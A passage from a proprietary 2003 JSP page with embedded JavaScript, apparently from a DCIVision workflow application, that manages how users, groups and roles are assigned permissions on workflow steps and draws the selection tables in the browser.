<%
/*
 * @(#)EditWorkflowAssignProgressUser.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditWorkflowAssignProgressUser.jsp

  This class is reflecting business logic uses.

    @author           Angus Shiu
    @company          DCIVision Limited
    @creation date    30/07/2003
    @version          $Revision: 1.40.2.6 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/wfm" prefix="wfm" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.workflow.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.workflow.core.SystemWorkflowConstant"%>
<%@ page import="com.dcivision.workflow.web.*"%>
<%@ page import="com.dcivision.user.bean.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintWorkflowProgressForm" scope="request" class="com.dcivision.workflow.web.MaintWorkflowProgressForm"/>
<%String workflowCategoryID = request.getAttribute("workflowCategoryID")!=null?(String)request.getAttribute("workflowCategoryID"):null;
	boolean isNotPaperDocument=!SystemWorkflowConstant.DMS_PAPER_DOCUMENT.equals(workflowCategoryID);
	boolean isArrived=isNotPaperDocument || ( Utility.isEmpty(request.getParameter("progressUser"))
                                && Utility.isEmpty(request.getParameter("progressGroup"))
                                && Utility.isEmpty(request.getParameter("progressRole"))
                              );
%>
<%if(workflowCategoryID==null && request.getParameter("workflowCategoryID")!=null){workflowCategoryID=request.getParameter("workflowCategoryID");}%>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Framework.js" charset="UTF-8" type="text/javascript"></script>
<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/interface/WorkflowAjaxProcessor.js'> </script>
<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/engine.js'></script>
<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/util.js'></script>
<script language="Javascript">

<!--
var index;
var userHasNoPerm = new Array();
var groupHasNoPerm = new Array();
var roleHasNoPerm = new Array();
var otherHasNoPerm = new Array();
var allPermissionAry = new Array();
var activeRow = null;
var permForm = null;
var defaultValue = "RW";

function struct(key, value){
  this.key = key;
  this.value = value;
}

function initVariable(inForm , postFix) {
	index=0;
  permForm = inForm;
  var arrayOfStr;

  // Initialize Users with No Permission.
  if (postFix) {
    var curObjects = permForm.elements['userNoPermissionData_' + postFix];
    arrayOfStr = curObjects.value.split("\n");
  } else {
    arrayOfStr = permForm.userNoPermissionData.value.split("\n");
  }

  //get the defalue permission
  //if(typeof inForm.permissionType != 'undefined'){
  //  if(inForm.permissionType.value != "" ){
  //    defaultValue = inForm.permissionType.value.substring(0,1);
  //  }
 // }

  for (var i = 0; i < arrayOfStr.length; i++) {
    if (arrayOfStr[i].length > 0) {
      if (arrayOfStr[i].charAt(arrayOfStr[i].length-1) == '\r') {
        arrayOfStr[i] = arrayOfStr[i].substring(0, arrayOfStr[i].length - 1);
      }
      var tmpAry = arrayOfStr[i].split("\t");
      tmpAry[3] = defaultValue;
      if (postFix) {
        userHasNoPerm[userHasNoPerm.length] = new struct(postFix, tmpAry);
      } else {
      	userHasNoPerm[userHasNoPerm.length] = tmpAry;
      }
    }
  }

  // Initialize Groups with No Permission.
  if (postFix) {
    var curObjects = permForm.elements['groupNoPermissionData_' + postFix];
   // alert(curObjects.value);
    arrayOfStr = curObjects.value.split("\n");
  } else {
    arrayOfStr = permForm.groupNoPermissionData.value.split("\n");
  }

  for (var i = 0; i < arrayOfStr.length; i++) {
    if (arrayOfStr[i].length > 0) {
      if (arrayOfStr[i].charAt(arrayOfStr[i].length-1) == '\r') {
        arrayOfStr[i] = arrayOfStr[i].substring(0, arrayOfStr[i].length - 1);
      }
      var tmpAry = arrayOfStr[i].split("\t");
      tmpAry[3] = defaultValue;
      if (postFix) {
        groupHasNoPerm[groupHasNoPerm.length] = new struct(postFix, tmpAry);
      } else {
      	groupHasNoPerm[groupHasNoPerm.length] = tmpAry;
      }  
    }
  }

  // Initialize Roles with No Permission.
  if (postFix) {
    var curObjects = permForm.elements['roleNoPermissionData_' + postFix];
    //alert(curObjects.value);
    arrayOfStr = curObjects.value.split("\n");
  } else {
    arrayOfStr = permForm.roleNoPermissionData.value.split("\n");
  }

  for (var i = 0; i < arrayOfStr.length; i++) {
    if (arrayOfStr[i].length > 0) {
      if (arrayOfStr[i].charAt(arrayOfStr[i].length-1) == '\r') {
        arrayOfStr[i] = arrayOfStr[i].substring(0, arrayOfStr[i].length - 1);
      }
      var tmpAry = arrayOfStr[i].split("\t");
      tmpAry[3] = defaultValue;
      if (postFix) {
        roleHasNoPerm[roleHasNoPerm.length] = new struct(postFix, tmpAry);
      } else {
      	roleHasNoPerm[roleHasNoPerm.length] = tmpAry;
      }	
    }
  }

  // Initialize Others with No Permission.
  var curOtherObjects;
  if (postFix) {
    curOtherObjects = permForm.elements['otherNoPermissionData_' + postFix];
  } else {
    curOtherObjects = permForm.otherNoPermissionData;
  }

  if(typeof curOtherObjects != 'undefined'){
    arrayOfStr = curOtherObjects.value.split("\n");
    //alert(arrayOfStr.length);
    for (var i = 0; i < arrayOfStr.length; i++) {
      if (arrayOfStr[i].length > 0) {
        if (arrayOfStr[i].charAt(arrayOfStr[i].length-1) == '\r') {
          arrayOfStr[i] = arrayOfStr[i].substring(0, arrayOfStr[i].length - 1);
        }
        var tmpAry = arrayOfStr[i].split("\t");
        tmpAry[3] = defaultValue;
        if (postFix) {
          otherHasNoPerm[otherHasNoPerm.length] = new struct(postFix, tmpAry);
        } else {
          otherHasNoPerm[otherHasNoPerm.length] = tmpAry; 	
        }
      }
    }
  }

  // Initialize All Users, Groups, Roles with Permission.
  if (postFix) {
    var curObjects = permForm.elements['allPermissionData_' + postFix];
    //alert(curObjects.value);
    arrayOfStr = curObjects.value.split("\n");
  } else {
    arrayOfStr = permForm.allPermissionData.value.split("\n");
  }

  for (var i = 0; i < arrayOfStr.length; i++) {
	  
    if (arrayOfStr[i].length > 0) {

      if (arrayOfStr[i].charAt(arrayOfStr[i].length-1) == '\r') {
        arrayOfStr[i] = arrayOfStr[i].substring(0, arrayOfStr[i].length - 1);
      }
      var tmpAry = arrayOfStr[i].split("\t");
      if (postFix) {
        allPermissionAry[allPermissionAry.length] = new struct(postFix, tmpAry);
      } else {
      	allPermissionAry[allPermissionAry.length] = tmpAry;
      }	
    }
  }
  //alert(groupHasNoPerm.length);

  
 if (postFix) {
    resetPanel(postFix);
  } else {
    resetPanel();
  }

}

function resetPanel(postFix) {
  if (postFix) {
    drawPanelForPostFix("permissionDiv" + postFix, postFix);
    changeSubjectMenuForPostFix(permForm, postFix);
  } else {
    drawPanel("permissionDiv");
     changeSubjectMenu(permForm);
  }
}

function updatePermission(postFix) {
  if (activeRow == null) {
    return(false);
  }
  //check start and end date
  if(typeof permForm.startDate !='undefined' && typeof permForm.endDate !='undefined'){
    var startDate = permForm.startDate;
    var endDate = permForm.endDate;
    if ( (startDate.value==''&&endDate.value!='') || (startDate.value!=''&&endDate.value=='') ) {
      return (false);
    } else if (startDate.value!=''&&endDate.value!='') {
      if (compareDate(startDate, endDate, false) > 0) {
        return (false);
      }
    }
  }

  var tmpID = parseInt(activeRow.id.substring(2, activeRow.id.length), 10);
 
  var allPerm;	
  if (postFix) {
  allPerm = permForm.elements["permissionType_" + postFix].value;
} else {
  allPerm = permForm.permissionType.value;
}
  var permStr = "";
 
  if (postFix) {
  for (var i=0; i<allPerm.length; i++) {
    var elm = eval("permForm.permission_" + postFix + "_" + allPerm.charAt(i));
    if (elm.checked) {
      permStr += allPerm.charAt(i);
    } else {
      elm = eval("permForm.permission_"  + postFix + "_" + allPerm.charAt(i).toLowerCase());
      if (elm.checked) {
        permStr += allPerm.charAt(i).toLowerCase();
      }
    }
  }
} else {
  for (var i=0; i<allPerm.length; i++) {
    var elm = eval("permForm.permission_" + allPerm.charAt(i));
    if (elm.checked) {
      permStr += allPerm.charAt(i);
    } else {
      elm = eval("permForm.permission_" + allPerm.charAt(i).toLowerCase());
      if (elm.checked) {
        permStr += allPerm.charAt(i).toLowerCase();
      }
    }
  }
}
  if (postFix) {
    var count=0;
    var countFix = 0;
    for (var i=0; i<allPermissionAry.length; i++) {
      countFix=i;
      if (allPermissionAry[i].key == postFix) {
        if (count==tmpID) {
          break;
        }
        count++;
      }
    }
   (allPermissionAry[countFix].value)[3] = permStr;
  (allPermissionAry[countFix].value)[4] = (typeof permForm.startDate!='undefined')?permForm.startDate.value:"";
  (allPermissionAry[countFix].value)[5] = (typeof permForm.endDate!='undefined')?permForm.endDate.value:"";
  
  if (permForm.mustFlag) {
  if(typeof permForm.mustFlag.length=='undefined'){
  	(allPermissionAry[countFix].value)[6]=permForm.mustFlag.checked ? "Y" : "N";
  }
  else{  	
  	(allPermissionAry[countFix].value)[6]=permForm.mustFlag[index].checked ? "Y" : "N";
  }
  }

  drawPanelForPostFix("permissionDiv" + postFix, postFix);
  var tmpObj = FindObj(activeRow.id);
  activeRow = null;
  
  updatePermissionPanel(tmpObj, "down", (allPermissionAry[countFix].value)[3], (allPermissionAry[countFix].value)[4], (allPermissionAry[countFix].value)[5], (allPermissionAry[countFix].value)[6], (allPermissionAry[countFix].value)[7], postFix);
  } else {
  allPermissionAry[tmpID][3] = permStr;
  allPermissionAry[tmpID][4] = (typeof permForm.startDate!='undefined')?permForm.startDate.value:"";
  allPermissionAry[tmpID][5] = (typeof permForm.endDate!='undefined')?permForm.endDate.value:"";
  if (permForm.mustFlag) {
  if(typeof permForm.mustFlag.length=='undefined'){
  	(allPermissionAry[tmpID].value)[6]=permForm.mustFlag.checked ? "Y" : "N";
  }
  else{
  	(allPermissionAry[tmpID].value)[6]=permForm.mustFlag[index].checked ? "Y" : "N";
  }
  }
      
  drawPanel("permissionDiv");
  var tmpObj = FindObj(activeRow.id);
  activeRow = null;
  updatePermissionPanel(tmpObj, "down", allPermissionAry[tmpID][3], allPermissionAry[tmpID][4], allPermissionAry[tmpID][5], allPermissionAry[tmpID][6], allPermissionAry[tmpID][7]);
}

  return(false);
}

function updatePermissionPanel(trObj, mode, perm, startDate, endDate, mustFlag, flag, postFix) {
var tmpID = parseInt(trObj.id.substring(2, trObj.id.length), 10);
//alert("updatePermissionPanel" + tmpID);	
//alert(trObj);
  var overColor = "#B5D2EA";
  var downColor = "#FFCC99";
  var outColor = "#FFFFFF";
  var domDetect = false;
  if (typeof(window.opera) == 'undefined' && typeof(trObj.getAttribute) != 'undefined') {
    domDetect = true;
  }
 
  if (mode == "over") {
    if (domDetect) {
      trObj.setAttribute('bgcolor', overColor, 0);
    } else {
      trObj.style.backgroundColor = overColor;
    }
  } else if (mode == "out") {
    var tmpColor = outColor;
    if (trObj == activeRow) {
      tmpColor = downColor;
    }
    if (domDetect) {
      trObj.setAttribute('bgcolor', tmpColor, 0);
    } else {
      trObj.style.backgroundColor = tmpColor;
    }
  } else if (mode == "down") {
    if (activeRow != null) {
      if (domDetect) {
        activeRow.setAttribute('bgcolor', outColor, 0);
      } else {
        activeRow.style.backgroundColor = outColor;
      }
    }
//    alert(activeRow + "::" + trObj);
    activeRow = trObj;
//    alert(activeRow);
    if (domDetect) {
      trObj.setAttribute('bgcolor', downColor, 0);
    } else {
      trObj.style.backgroundColor = downColor;
    }
    // Change the permission checkboxes.
    if (postFix) {
    clearPermissionPanel(postFix);
    for (var i=0; i<perm.length; i++) {
      var elm = eval("permForm.permission_" +postFix + "_" + perm.charAt(i));
      if (elm) {
        elm.checked = true;
      }
    }
   } else {
    clearPermissionPanel();
    for (var i=0; i<perm.length; i++) {
      var elm = eval("permForm.permission_" + perm.charAt(i));
      if (elm) {
        elm.checked = true;
      }
    }
   }
   	if (permForm.mustFlag) {
	if(typeof(permForm.mustFlag.length)=="undefined"){
		if(permForm.mustFlag){	    	  
		     permForm.mustFlag.checked = ("Y" ==mustFlag);
		}
	}
	else{
			if(permForm.mustFlag[index]){
				permForm.mustFlag[index].checked=("Y"==mustFlag);
			}
	}
	}
    
    var curPermissionAry = allPermissionAry[tmpID].value;
	if (curPermissionAry[2]==GLOBAL_CONSTANT_SUBJECT_TYPE_USER) {
      if(permForm.mustFlag){      	
      	if(typeof(permForm.mustFlag.length)=="undefined"){
      		permForm.mustFlag.disabled = true;
      	}
      	else{
      		permForm.mustFlag[index].disabled = true;
      	}
      }	  
	}else{
	  if(permForm.mustFlag){
	  	if(typeof(permForm.mustFlag.length)=="undefined"){
      		permForm.mustFlag.disabled = false;
      	}
      	else{
      		permForm.mustFlag[index].disabled = false;
      	}	    
      }
	}
    // Change the time limit.
//    g_Calendar.setDatePicker(startDate, permForm, "startDate");
//    g_Calendar.setDatePicker(endDate, permForm, "endDate");
  }

  
}

function clearPermissionPanel(postFix) {
var allPerm;
  if (postFix) {
  allPerm = permForm.elements["permissionType_" + postFix].value;
} else {
    allPerm = permForm.permissionType.value;
}
  if (postFix) {
  for (var i=0; i<allPerm.length; i++) {
    var elm = eval("permForm.permission_" + postFix + "_" + allPerm.charAt(i));
    if (elm) {
      elm.checked = false;
    }
    elm = eval("permForm.permission_" + postFix + "_" + allPerm.charAt(i).toLowerCase());
    if (elm) {
      elm.checked = false;
    }
  }
  } else {
  for (var i=0; i<allPerm.length; i++) {
    var elm = eval("permForm.permission_" + allPerm.charAt(i));
    if (elm) {
      elm.checked = false;
    }
    elm = eval("permForm.permission_" + allPerm.charAt(i).toLowerCase());
    if (elm) {
      elm.checked = false;
    }
  }	
  }
  if (permForm.mustFlag) {
    permForm.mustFlag.checked = false;
  }
/*
  permForm.dummy_startDate.value = "";
  if (permForm.hour_startDate.type == "text") {
    permForm.hour_startDate.value = "";
    permForm.min_startDate.value = "";
  } else {
    permForm.hour_startDate.selectedIndex = -1;
    permForm.min_startDate.selectedIndex = -1;
  }
  permForm.startDate.value = "";

  permForm.dummy_endDate.value = "";
  if (permForm.hour_startDate.type == "text") {
    permForm.hour_endDate.value = "";
    permForm.min_endDate.value = "";
  } else {
    permForm.hour_endDate.selectedIndex = -1;
    permForm.min_endDate.selectedIndex = -1;
  }
  permForm.endDate.value = "";
*/
}

function drawPanel(lyrName) {
  var ctn = "";
  ctn += "<table width='100%' cellpadding='1' cellspacing='0' border='0'>";
  for (var i=0; i<allPermissionAry.length; i++) {
    var permStr = allPermissionAry[i][3];
    var startDate = allPermissionAry[i][4];
    var endDate = allPermissionAry[i][5];
    var mustFlag = allPermissionAry[i][6];
    var flag = allPermissionAry[i][7];
    ctn += "<tr id='tr" + i + "' onmouseover=\"updatePermissionPanel(this, \'over\', \'" + permStr + "\', \'" + startDate + "\', \'" + endDate + "\');\" onmouseout=\"updatePermissionPanel(this, \'out\', \'" + permStr + "\', \'" + startDate + "\', \'" + endDate + "\');\" onmousedown=\"updatePermissionPanel(this, \'down\', \'" + permStr + "\', \'" + startDate + "\', \'" + endDate + "\', \'" + mustFlag + "\', \'" + flag + "\');\">";
    ctn += "<td width='18'><a href='#' onclick='return(false)' style='text-decoration:none'><img src='";
    if (allPermissionAry[i][2]==GLOBAL_CONSTANT_SUBJECT_TYPE_USER) {
      ctn += COMMON_IMG_PATH + "IconUser.gif";
    } else if (allPermissionAry[i][2]==GLOBAL_CONSTANT_SUBJECT_TYPE_GROUP) {
      ctn += COMMON_IMG_PATH + "IconGroup.gif";
    } else if (allPermissionAry[i][2]==GLOBAL_CONSTANT_SUBJECT_TYPE_ROLE) {
      ctn += COMMON_IMG_PATH + "IconRole.gif";
    } else {
      ctn += COMMON_IMG_PATH + "IconUser.gif";
    }
    ctn += "' align='absmiddle' border='0'/></a></td>";
    ctn += "<td><nobr><a href='#' ondblclick='return delSubject()' style='text-decoration:none'>" + allPermissionAry[i][1] + "&nbsp; <b>";
    if ("Y" == mustFlag) {    	
      ctn += "<font color='#0000CC'>[" + MSG_REQUIRED_OR_NOT + "]</font>&nbsp;";
    }
    ctn += formPermissionString(permStr, startDate, endDate) + "</b></a></nobr></td>";
    ctn += "</tr>";
  }
  ctn += "</table>";

  ChangeDivContent(lyrName, ctn);
}


function drawPanelForPostFix(lyrName, postFix) {
  var ctn = "";

  ctn += "<table width='100%' cellpadding='1' cellspacing='0' border='0'>";
  for (var i=0; i<allPermissionAry.length; i++) {
    if ( allPermissionAry[i].key == postFix ) {
      var curPermissionAry = allPermissionAry[i].value;
      var permStr = curPermissionAry[3];
      var startDate = curPermissionAry[4];
      var endDate = curPermissionAry[5];
      var mustFlag = curPermissionAry[6];
      var flag = curPermissionAry[7];
      ctn += "<tr id='tr" + i + "' onmouseover=\"updatePermissionPanel(this, \'over\', \'" + permStr + "\', \'" + startDate + "\', \'" + endDate + "\', null, null,\'" + postFix + "\' );\" onmouseout=\"updatePermissionPanel(this, \'out\', \'" + permStr + "\', \'" + startDate + "\', \'" + endDate  + "\', null, null, \'" + postFix + "\' );\" onmousedown=\"updatePermissionPanel(this, \'down\', \'" + permStr + "\', \'" + startDate + "\', \'" + endDate + "\', \'" + mustFlag + "\', \'" + flag +  "\', \'" + postFix + "\' );\">";
      ctn += "<td width='18'><a href='#' onclick='return(false)' style='text-decoration:none'><img src='";
      if (curPermissionAry[2]==GLOBAL_CONSTANT_SUBJECT_TYPE_USER) {
        ctn += COMMON_IMG_PATH + "IconUser.gif";
      } else if (curPermissionAry[2]==GLOBAL_CONSTANT_SUBJECT_TYPE_GROUP) {
        ctn += COMMON_IMG_PATH + "IconGroup.gif";
      } else if (curPermissionAry[2]==GLOBAL_CONSTANT_SUBJECT_TYPE_ROLE) {
        ctn += COMMON_IMG_PATH + "IconRole.gif";
      } else {
        ctn += COMMON_IMG_PATH + "IconUser.gif";
      }
      ctn += "' align='absmiddle' border='0'/></a></td>";
      ctn += "<td><nobr><a href='#' ondblclick='return delSubject(" + postFix + ")' style='text-decoration:none'>" + curPermissionAry[1] + "&nbsp; <b>";
      if ("Y" == mustFlag) {
        ctn += "<font color='#0000CC'>[" + MSG_REQUIRED_OR_NOT + "]</font>&nbsp;";
      }
      ctn += formPermissionString(permStr, startDate, endDate) + "</b></a></nobr></td>";
      ctn += "</tr>";
    }
  }
  ctn += "</table>";
  ChangeDivContent(lyrName, ctn);
}

function formPermissionString(permStr, startDate, endDate) {
  var tmpPermStr = "";

  if(typeof permLabel == 'undefined') return tmpPermStr;

  for (var j=0; j<permStr.length; j++) {
    if (permStr.charAt(j).toUpperCase()==permStr.charAt(j)) {
      tmpPermStr += permLabel[permStr.charAt(j)] + "/";
    } else {
      tmpPermStr += "<strike style='color:#FF0000'>" + permLabel[permStr.charAt(j).toUpperCase()] + "</strike>/";
    }
  }
  if (tmpPermStr.length>0) {
    tmpPermStr = tmpPermStr.substring(0, tmpPermStr.length-1);
    tmpPermStr = "[" + tmpPermStr + "]";
  }

  return(tmpPermStr);
}

function addSubject() {
  if ("" != permForm.ownerLimit.value) {
    var ownerLimit = parseInt(permForm.ownerLimit.value, 10);
    if (allPermissionAry.length >= ownerLimit){
      alert("You can only select " + ownerLimit +" owners for this step");
      return false;
    }
  }
  var subType = permForm.subjectType.options[permForm.subjectType.selectedIndex].value;
  for (var i = 0; i < permForm.subjectList.options.length; i++) {
    if (permForm.subjectList.options[i].selected) {
      if (subType == GLOBAL_CONSTANT_SUBJECT_TYPE_USER) {
        allPermissionAry[allPermissionAry.length] = new Array(permForm.subjectList.options[i].value, permForm.subjectList.options[i].text, subType, userHasNoPerm[i][3], userHasNoPerm[i][4], userHasNoPerm[i][5], userHasNoPerm[i][6], userHasNoPerm[i][7]);
        ArrayElement(userHasNoPerm, i);
      } else if (subType == GLOBAL_CONSTANT_SUBJECT_TYPE_GROUP) {
        allPermissionAry[allPermissionAry.length] = new Array(permForm.subjectList.options[i].value, permForm.subjectList.options[i].text, subType, groupHasNoPerm[i][3], groupHasNoPerm[i][4], groupHasNoPerm[i][5], groupHasNoPerm[i][6], groupHasNoPerm[i][7]);
        RemoveArrayElement(groupHasNoPerm, i);
      } else if (subType == GLOBAL_CONSTANT_SUBJECT_TYPE_ROLE) {
        allPermissionAry[allPermissionAry.length] = new Array(permForm.subjectList.options[i].value, permForm.subjectList.options[i].text, subType, roleHasNoPerm[i][3], roleHasNoPerm[i][4], roleHasNoPerm[i][5], roleHasNoPerm[i][6], roleHasNoPerm[i][7]);
        RemoveArrayElement(roleHasNoPerm, i);
      } else {
        allPermissionAry[allPermissionAry.length] = new Array(permForm.subjectList.options[i].value, permForm.subjectList.options[i].text, subType, otherHasNoPerm[i][3], otherHasNoPerm[i][4], otherHasNoPerm[i][5], otherHasNoPerm[i][6], otherHasNoPerm[i][7]);
        RemoveArrayElement(otherHasNoPerm, i);
      }

      permForm.subjectList.options[i] = null;

      i--;
    }
  }

  drawPanel("permissionDiv");

  if (allPermissionAry.length>0) {
    updatePermissionPanel(FindObj("tr" + (allPermissionAry.length - 1)), "down", allPermissionAry[allPermissionAry.length-1][3], allPermissionAry[allPermissionAry.length-1][4], allPermissionAry[allPermissionAry.length-1][5], allPermissionAry[allPermissionAry.length-1][6], allPermissionAry[allPermissionAry.length-1][7]);
  }
  updatePermission();
  return(false);
}

function addSubjectForPostFix(postFix) {
  var ownerLimitObject = permForm.elements['ownerLimit_' + postFix];
//  alert(ownerLimitObject.value);
    var currentOwnerCount=0;
  if ("" != ownerLimitObject.value) {
     var ownerLimit = parseInt(ownerLimitObject.value, 10);
    for (var i=0; i < allPermissionAry.length; i++){
      if (allPermissionAry[i].key==postFix) {
        currentOwnerCount++;
      }
    }
    if (currentOwnerCount>=ownerLimit){
      alert("You can only select " + ownerLimit +" owners for this step");
      return false;
    }
  } 
  var objectType = permForm.elements['subjectType_' + postFix];
  var objectLists = permForm.elements['subjectList_' + postFix];
   var subType = objectType.options[objectType.selectedIndex].value;
  for (var i = 0; i < objectLists.options.length; i++) {
    if (objectLists.options[i].selected) {
      if (subType == GLOBAL_CONSTANT_SUBJECT_TYPE_USER) {
      	var h=0;
      	for (var j=0; j < userHasNoPerm.length; j++) {
      	if (userHasNoPerm[j].key == postFix) {
      	  if (h == i) {	
      	    var curArrayPermission = userHasNoPerm[j].value;
            var curPermissionArr = new Array(objectLists.options[i].value, objectLists.options[i].text, subType, curArrayPermission[3], curArrayPermission[4], curArrayPermission[5], curArrayPermission[6], curArrayPermission[7]);
            allPermissionAry[allPermissionAry.length] = new struct(postFix, curPermissionArr);
            RemoveArrayElement(userHasNoPerm, j);
            break;
          } else {
            h++;	
          }
        } 
        }
      } else if (subType == GLOBAL_CONSTANT_SUBJECT_TYPE_GROUP) {
      	var h=0;
      	for (var j=0; j < groupHasNoPerm.length; j++) {
      	if (groupHasNoPerm[j].key == postFix) {
      	  if (h == i) {
      	    var curArrayPermission = groupHasNoPerm[j].value;	
      	    var curPermissionArr  = new Array(objectLists.options[i].value, objectLists.options[i].text, subType, curArrayPermission[3], curArrayPermission[4], curArrayPermission[5], curArrayPermission[6], curArrayPermission[7]);
            allPermissionAry[allPermissionAry.length] = new struct(postFix, curPermissionArr);
            RemoveArrayElement(groupHasNoPerm, j);
            break;
          } else {
            h++;	
          }
        } 
        }
      } else if (subType == GLOBAL_CONSTANT_SUBJECT_TYPE_ROLE) {
      	var h=0;
      	for (var j=0; j < roleHasNoPerm.length; j++) {
      	if (roleHasNoPerm[j].key == postFix) {
      	  if (h == i) {	
      	    var curArrayPermission = roleHasNoPerm[j].value;
            var curPermissionArr  = new Array(objectLists.options[i].value, objectLists.options[i].text, subType, curArrayPermission[3], curArrayPermission[4], curArrayPermission[5], curArrayPermission[6], curArrayPermission[7]);
            allPermissionAry[allPermissionAry.length] = new struct(postFix, curPermissionArr);
            RemoveArrayElement(roleHasNoPerm, j);
            break;
          } else {
            h++;	
          }
        } 
        }
      } else {
      	var h=0;
      	for (var j=0; j < otherHasNoPerm.length; j++) {
      	if (otherHasNoPerm[j].key == postFix) {
      	  if (h == i) {	
      	    var curArrayPermission = otherHasNoPerm[j].value;
            var curPermissionArr  = new Array(objectLists.options[i].value, objectLists.options[i].text, subType, curArrayPermission[3], curArrayPermission[4], curArrayPermission[5], curArrayPermission[6], curArrayPermission[7]);
            allPermissionAry[allPermissionAry.length] = new struct(postFix, curPermissionArr);
            RemoveArrayElement(otherHasNoPerm, j);
            break;
          } else {
            h++;	
          }
        } 
        }
      }

      objectLists.options[i] = null;

      i--;
    }
  }
  drawPanelForPostFix("permissionDiv" + postFix, postFix);
  if (allPermissionAry.length>0) {
    var curAllPermissionArr = new Array();
    for (var k = 0; k < allPermissionAry.length; k++) {
      if (allPermissionAry[k].key == postFix){
      	curAllPermissionArr[curAllPermissionArr.length] = allPermissionAry[k].value;
      }
    }
    if (curAllPermissionArr.length > 0) {
      updatePermissionPanel(FindObj("tr" + (curAllPermissionArr.length - 1)), "down", curAllPermissionArr[curAllPermissionArr.length-1][3], curAllPermissionArr[curAllPermissionArr.length-1][4], curAllPermissionArr[curAllPermissionArr.length-1][5], curAllPermissionArr[curAllPermissionArr.length-1][6], curAllPermissionArr[curAllPermissionArr.length-1][7], postFix);
    }
  }
  updatePermission(postFix);
  return(false);
}


function delSubject(postFix) {
  if (activeRow==null) {
    return(false);
  }

  var tmpID = parseInt(activeRow.id.substring(2, activeRow.id.length), 10);
  var tmpRow = allPermissionAry[tmpID];
  var tmpRowValue = allPermissionAry[tmpID];
  if (postFix) {
    tmpRow = allPermissionAry[tmpID].value;
  }
  if (tmpRow[2] == GLOBAL_CONSTANT_SUBJECT_TYPE_USER) {
    userHasNoPerm[userHasNoPerm.length] = tmpRowValue;
  } else if (tmpRow[2] == GLOBAL_CONSTANT_SUBJECT_TYPE_GROUP) {
    groupHasNoPerm[groupHasNoPerm.length] = tmpRowValue;
  } else if (tmpRow[2] == GLOBAL_CONSTANT_SUBJECT_TYPE_ROLE) {
    roleHasNoPerm[roleHasNoPerm.length] = tmpRowValue;
  } else {
    otherHasNoPerm[otherHasNoPerm.length] = tmpRowValue;
  }

  RemoveArrayElement(allPermissionAry, tmpID);
  activeRow = null;
  if (postFix) {
  clearPermissionPanel(postFix);
  resetPanel(postFix);
  } else {
   clearPermissionPanel();
   resetPanel();
  }
  if (postFix) {
    if (FindObj("tr" + tmpID)) {
      updatePermissionPanel(FindObj("tr" + tmpID), "down", (allPermissionAry[tmpID].value)[3], (allPermissionAry[tmpID].value)[4], (allPermissionAry[tmpID].value)[5], (allPermissionAry[tmpID].value)[6], (allPermissionAry[tmpID].value)[7], postFix);
    } else if (FindObj("tr" + (tmpID - 1))) {
      updatePermissionPanel(FindObj("tr" + (tmpID - 1)), "down", (allPermissionAry[tmpID - 1].value)[3], (allPermissionAry[tmpID - 1].value)[4],(allPermissionAry[tmpID - 1].value)[5], (allPermissionAry[tmpID - 1].value)[6], (allPermissionAry[tmpID - 1].value)[7], postFix);
    }
  
    updatePermission(postFix);
  } else {
    if (FindObj("tr" + tmpID)) {
      updatePermissionPanel(FindObj("tr" + tmpID), "down", allPermissionAry[tmpID][3], allPermissionAry[tmpID][4], allPermissionAry[tmpID][5], allPermissionAry[tmpID][6], allPermissionAry[tmpID][7]);
    } else if (FindObj("tr" + (tmpID - 1))) {
      updatePermissionPanel(FindObj("tr" + (tmpID - 1)), "down", allPermissionAry[tmpID - 1][3], allPermissionAry[tmpID - 1][4], allPermissionAry[tmpID - 1][5], allPermissionAry[tmpID - 1][6], allPermissionAry[tmpID - 1][7]);
    }	
    updatePermission();
  }
  return(false);
}

function changeSubjectMenu(permForm) {
  var elm = permForm.subjectType;
  if (elm) {
    var changeElm = permForm.subjectList;
    var tmpAry;
    if (elm.options[elm.selectedIndex].value == GLOBAL_CONSTANT_SUBJECT_TYPE_USER) {
      tmpAry = userHasNoPerm;
    } else if (elm.options[elm.selectedIndex].value == GLOBAL_CONSTANT_SUBJECT_TYPE_GROUP) {
      tmpAry = groupHasNoPerm;
    } else if (elm.options[elm.selectedIndex].value == GLOBAL_CONSTANT_SUBJECT_TYPE_ROLE) {
      tmpAry = roleHasNoPerm;
    } else {
      tmpAry = otherHasNoPerm;
    }

    RemoveAllOptions(changeElm);
    for (var i=0; i<tmpAry.length; i++) {
      AddOption(changeElm, tmpAry[i][1], tmpAry[i][0], false);
    }
  }
}

function changeSubjectMenuForPostFix(permForm, postFix) {
  var elm = permForm.elements['subjectType_' + postFix]; 
  if (elm) {
    var changeElm = permForm.elements['subjectList_' + postFix];
    var tmpAry;
    if (elm.options[elm.selectedIndex].value == GLOBAL_CONSTANT_SUBJECT_TYPE_USER) {
      tmpAry = userHasNoPerm;
    } else if (elm.options[elm.selectedIndex].value == GLOBAL_CONSTANT_SUBJECT_TYPE_GROUP) {
      tmpAry = groupHasNoPerm;
    } else if (elm.options[elm.selectedIndex].value == GLOBAL_CONSTANT_SUBJECT_TYPE_ROLE) {
      tmpAry = roleHasNoPerm;
    } else {
      tmpAry = otherHasNoPerm;
    }
    RemoveAllOptions(changeElm);
    for (var i=0; i<tmpAry.length; i++) {
      if ( tmpAry[i].key == postFix ) {
        var curTmpArr = tmpAry[i].value;
        AddOption(changeElm, curTmpArr[1], curTmpArr[0], false);
      }
    }
  }
}

function checkPermission(elm) {
  if (activeRow == null) {
    return(false);
  }
  var str=elm.name.split("_");        
	indexcheck=parseInt(str[1]);
	  if (elm.name.charAt(elm.name.length - 1) == 'R' && !elm.checked) {
	    return(false);
	  }
